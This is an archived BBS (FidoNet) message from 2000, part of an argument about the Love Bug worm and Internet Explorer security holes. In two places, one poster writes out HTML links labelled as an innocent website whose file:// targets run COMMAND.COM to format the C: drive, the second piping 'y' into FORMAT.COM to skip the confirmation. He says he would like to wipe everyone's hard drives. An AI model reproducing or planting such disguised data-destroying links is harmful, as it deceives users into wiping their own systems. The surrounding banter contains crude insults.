Subj : Re: inovation
To   : Scott Little
From : Martin Prieto
Date : Tue May 23 2000 12:31 pm

 SL> I still don't get it... we were talking about the love bug. _no_ IE or
 SL> ActiveX security problem (or ANY real security hole for that matter)
 SL> was used in the attack.

Exactly, but at some point I, you or somebody else was talking about 
holes, so I jumped.

 MP> Have no idea! Maybe if you just try something like
 MP> <a href="file://C|\WINDOWS\COMMAND.COM /C
 MP> C|\WINDOWS\COMMAND\FORMAT.COM C| /U/SELECT > NUL"> www.disneylands.com
 MP> </a>

 SL> You still have to click on it... fark man, you gotta do better than
 SL> that. Besides, you can't format the C: drive while windows is running,
 SL> AND even if you could, you'd need to echo and | answers to all the
 SL> prompts into format, starting format alone (wtf does /select do? it's
 SL> not a valid option on my system) doesn't do shit.

Of course you have to click on it! I would be damn happy if I could 
just format everybodys hard drives when they fire up IE without even 
visiting "my" site.

    /select is effective on floppy disks, he make them unreadable. 
There is only one prompt valuable prompt in format.exe and the answer 
is "Y". Don't care for the remaining such as "Format another disk?". ;) 

<a href="file://C|\WINDOWS\START.EXE /MIN C|\WINDOWS\COMMAND\COMMAND.COM
echo y | /C C|\WINDOWS\COMMAND\FORMAT.COM C| /SELECT/U > NUL">
www.disneylands.com </a>

Now you like it?

 SL> IMO this is not a security flaw either, just dumb fucking users. MS
 SL> will have to have two separate lines of Windows after all, one for the
 SL> dumb fucks that would fall for shit like that, and one for the people
 SL> who know what they're doing.

How can you tell anyway?

 SL> he can't do the same things as me, that's the point. he can just do the
 SL> same things he's been doing all along. that's no fun...

What do you do anyway?

 SL> back when men coded in ASM... these VB pansies are just showing off
 SL> their lame-ness...

Here, I agree.


(o_        UIN: 349 806 21                       _o)
 
//\      Voice: MARTIN GET YOU ASS IN HERE!!     /\\
 
V_/_    e-mail: riverdale@penguinpowered.com    _\_V 


.... Alf: What's weird about that
--- RG Y2Ka2 / GE 1.20
 * Origin: Mysteria BBS, Mtl (514)257-8043/mysteria.dynip.com (1:167/700)

.